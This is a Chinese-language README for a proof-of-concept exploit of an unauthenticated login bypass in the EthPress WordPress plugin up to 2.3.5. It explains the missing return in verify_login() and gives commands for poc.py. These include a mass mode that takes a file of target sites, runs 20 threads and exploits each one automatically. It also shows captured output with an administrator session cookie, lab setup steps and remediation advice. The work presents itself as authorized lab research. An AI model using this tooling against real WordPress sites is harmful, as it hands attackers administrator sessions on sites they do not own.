已验证的概念验证利用 EthPress <= 2.3.5 的未认证身份验证绕过漏洞,通过钱包地址获取 WordPress 管理员会话。
针对 EthPress 钱包登录身份验证绕过的可用、已验证的概念验证,基于 X-1 localhost 实验环境开发并验证。
RAZZ,用户 id 1,roles=['administrator'])。http://localhost:8080 — WordPress + MySQL(Docker,wp_app/wp_db)_plugin-reference/app/Login.php::verify_login()(v2.3.5)会检查钱包签名,在检查失败时构建一个 WP_Error —— 然后忘记返回:
51 if ( !$verified ) {
52 $user = new \WP_Error('ethpress', $verify_error); // dead store, no return
53 }
54 // Log in. // fall-through
55 try {
...
70 $user = $address->log_in(); // wp_set_auth_cookie()
执行继续进入登录代码块,Address::log_in() 将攻击者提供的钱包地址解析为其所属的 WordPress 用户,然后 wp_set_auth_cookie() 对该用户进行身份验证。响应为 {"success":true,"data":{"message":"Logged in"}}。
# single target
python3 poc.py -u http://localhost:8080 -a 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a
# mass mode (file of targets, 20 threads, JSONL log)
python3 poc.py -f targets.txt -t 20 -o results.jsonl -a 0xVICTIMWALLET
# several candidate addresses against several targets
python3 poc.py -f targets.txt -af addresses.txt -t 20 -o results.jsonl
requests 是唯一的依赖(pip install requests)。所有以太坊加密功能(Keccak-256、secp256k1、RFC 6979 签名、地址恢复)均仅使用标准库在 poc.py 内部实现。
[*] attacker wallet : fresh random key generated per attack
[*] targets=1 addresses=1 jobs=1 threads=1
[*] http://localhost:8080 EXPLOITED authentication cookie accepted by WordPress (full administrator confirmed)
[!] !! EXPLOITED http://localhost:8080 as user id=1 login=RAZZ roles=['administrator'] (primitive: valid-signature)
[!] !! session cookie: wordpress_logged_in_37d007a5...=RAZZ%7C1790339157%7C...
GET /wp-login.php 并读取 ethpressLoginWP.loginNonce。它是为匿名(uid=0)会话铸造的 wp_create_nonce('ethpress_log_in'),因此对攻击者自身的未认证 AJAX 调用有效。coinbase 不同。verify2() 返回 [false, error] —— 而 2.3.5 将其丢弃。(完全空的签名同样有效;poc.py 会自动回退到该方式。)/wp-admin/,抓取该会话的 REST nonce,并调用 /wp/v2/users/me?context=edit → 获取真实用户 id、登录名和角色;同时断言对四个仅管理员可访问页面的访问权限。复现其中任何一项:
bash lab-switch-version.sh 2.3.6 # patched -> exploit fails
bash lab-switch-version.sh 2.3.5 # vulnerable -> exploit succeeds
bash evidence/raw-repro.sh # tool-free curl transcript
python3 boundary-test.py # signature-input matrix
# plugin availability (official source only)
curl -s -o /dev/null -w '%{http_code}\n' https://wordpress.org/plugins/ethpress/ # 200
# vulnerable build installed and active
docker cp /tmp/plugin-src/ethpress/vulnerable-extracted/ethpress \
wp_app:/var/www/html/wp-content/plugins/ethpress
docker exec wp_app sh -c 'chown -R www-data:www-data /var/www/html/wp-content/plugins/ethpress \
&& find /var/www/html/wp-content/plugins/ethpress -type d -exec chmod 755 {} + \
&& find /var/www/html/wp-content/plugins/ethpress -type f -exec chmod 644 {} +'
docker exec wp_app wp plugin activate ethpress --allow-root # version 2.3.5
# precondition: admin (id=1 RAZZ) has a linked wallet address
docker exec wp_app wp user meta update 1 ethpress 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a --allow-root
wp user meta update 写入的正是插件自身 Address::create() 所写入的存储键(update_user_meta($uid, 'ethpress', $coinbase)),因此前置条件是按合法方式配置的 —— 没有对目标进行任何人为削弱。
用于差异比较的参考版本位于插件目录之外:../_plugin-reference/ethpress/{vulnerable,latest}。
在 Apache 持续运行的情况下就地切换插件版本,会使旧的已编译字节码残留在 OPcache 中。PHP 随后会继续执行上一版本的文件;由于 2.3.6 的 freemius/start.php:584 需要 freemius/require.php → includes/class-fs-hook-snapshot.php(该文件仅存在于 2.3.6 中),即使磁盘上是 2.3.5,站点也会返回 HTTP 500。lab-switch-version.sh 现在会在每次切换后重启 wp_app,并等待 /wp-login.php 返回 200。务必确认正在运行的版本,而不仅仅是磁盘上的版本。
| 代码 | 含义 |
|---|---|
0 | 至少有一个目标被 EXPLOITED |
1 | 运行正常,没有目标被利用 |
2 | 用法错误 —— 输入文件缺失/不可读,或未提供钱包地址 |
-a 是你必须弄对的一件事-a/--address 必须是已经关联到目标 WordPress 账户的钱包地址 —— 即 wp_usermeta 中 meta_key = 'ethpress' 的那一行。PoC 无法猜测它:该地址不会在任何公开位置暴露。
docker exec wp_app wp user meta get 1 ethpress --allow-root
# -> 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a use THIS value
如果你传入不同的地址,运行结果会是 exploited 0 / 1 —— 但绕过机制本身是有效的,只是该地址解析不到任何用户。PoC 现在会为每次未命中打印明确的“为什么没有成功”代码块以及提示,因此这不再是静默失败。
CVE-2026-19125/
├── README.md this file
├── analysis.md root cause, patch, chain, reliability, remediation
├── intel.md advisory facts + verification-vs-advisory table
├── poc.py the exploit (self-contained crypto, -f -t -o)
├── patch.diff app/Login.php 2.3.5 -> 2.3.6
├── boundary-test.py signature-input boundary harness
├── lab-switch-version.sh swap lab between 2.3.5 / 2.3.6 (opcache-safe)
├── sink-verify-login.txt vulnerable source excerpt (verifier + sink)
├── ajax-actions.txt attack-surface: ethpress AJAX registrations
├── hooks.txt hook registrations (Plugin::attach_hooks)
├── results.jsonl exploitation record (2.3.5) <- success
├── results-patched.jsonl exploitation record (2.3.6 control) <- blocked
├── results-neg.jsonl negative control (unlinked address)
└── evidence/
├── raw-transcript.txt raw HTTP: nonce -> bypass -> cookie -> admin proof
├── raw-repro.sh regenerates the above
├── boundary-matrix.txt which signature inputs bypass / 500 / fail
├── run-positive.log PoC run on 2.3.5
├── run-patched-236.log PoC run on 2.3.6
└── results-registration-open.jsonl users_can_register=1 branch behaviour
将 EthPress 升级到 2.3.6 或更高版本。不存在配置层面的变通方法:该缺陷存在于登录控制流本身。如果无法立即升级,请禁用插件的钱包登录(或禁用该插件),并审计 wp_usermeta 中特权账户上的 ethpress 关联。
仅用于隔离 localhost 实验环境中的授权安全研究。请勿对你不拥有或未获得书面许可测试的系统使用。作者:Poloss。
| 参数 | 含义 |
|---|
-f, --file | 目标 URL 文件(每行一个,# 为注释),用于批量扫描 + 自动利用 |
-t, --threads | 并发工作线程数(默认 10) |
-o, --output | 输出/日志路径,JSON Lines(默认 cve-2026-19125-results.jsonl) |
-u, --url | 单个目标 URL(可重复) |
-a, --address | 与某个 WordPress 账户关联的受害者钱包地址 |
-af, --address-file | 候选钱包地址文件 |
-k, --private-key | 攻击者私钥十六进制(默认:每次攻击生成新的随机密钥) |
--timeout | HTTP 超时秒数(默认 20) |
--verify-tls | 验证 TLS 证书 |
-q, --quiet | 抑制每个目标的进度行 |
| 测试 | 版本 | 预期 | 实际观察 | 产物 |
|---|
| 正向利用,已关联的管理员地址 | 2.3.5 | 接管 | id=1 RAZZ roles=['administrator'],全部 4 项管理员权限 | results.jsonl、evidence/run-positive.log |
| 阴性对照,未关联地址 | 2.3.5 | 无会话 | "You have not registered on this site" | results-neg.jsonl |
| 已修补对照,两种原语 | 2.3.6 | 拒绝 | "Failed to verify signature. The address ... extracted ..." | results-patched.jsonl、evidence/run-patched-236.log |
| 原始 curl 复现,无工具 | 2.3.5 | `Set-Cookie: ...=RAZZ | ...` | 已确认 |
| 签名输入边界矩阵 | 2.3.5 | 混合 | 2 种确定性原语;随机数据块约 50/50 或 HTTP 500 | evidence/boundary-matrix.txt |
users_can_register=1,未关联地址 | 2.3.5 | 新订阅者会话 | 创建用户 0xAAAA...,角色为 subscriber,已登录(随后移除) | evidence/results-registration-open.jsonl |
| 症状 | 含义 | 修复 |
|---|
failed ... "You have not registered on this site; we cannot log you in" | 提供的地址未关联到任何账户 | 传入 wp user meta get <id> ethpress 得到的地址 |
failed ... "Failed to verify signature. The address ... extracted for address ..." | 目标已修补(>= 2.3.6) | 预期的对照行为;通过 lab-switch-version.sh 重新安装 2.3.5 |
not_vulnerable ... wp-login.php returned HTTP ... | EthPress 不存在、登录方式被禁用,或站点宕机 | 检查 wp plugin list 以及 /wp-login.php 是否返回 200 |
unreachable ... ConnectionError | 无法通过 HTTP 访问 | 检查主机/端口 |
cookie_issued_not_accepted | cookie 已下发但被拒绝 | nonce 已过期(有效期 5 分钟)—— 重新运行 |
| AJAX 调用返回 HTTP 500,无 cookie | 不可恢复的签名导致内置加密库抛出异常 | PoC 通过使用确定性原语避免此问题 |
磁盘上是 2.3.5 但 wp-login.php 返回 500 | 版本切换后 OPcache 陈旧 | docker restart wp_app(由 lab-switch-version.sh 处理) |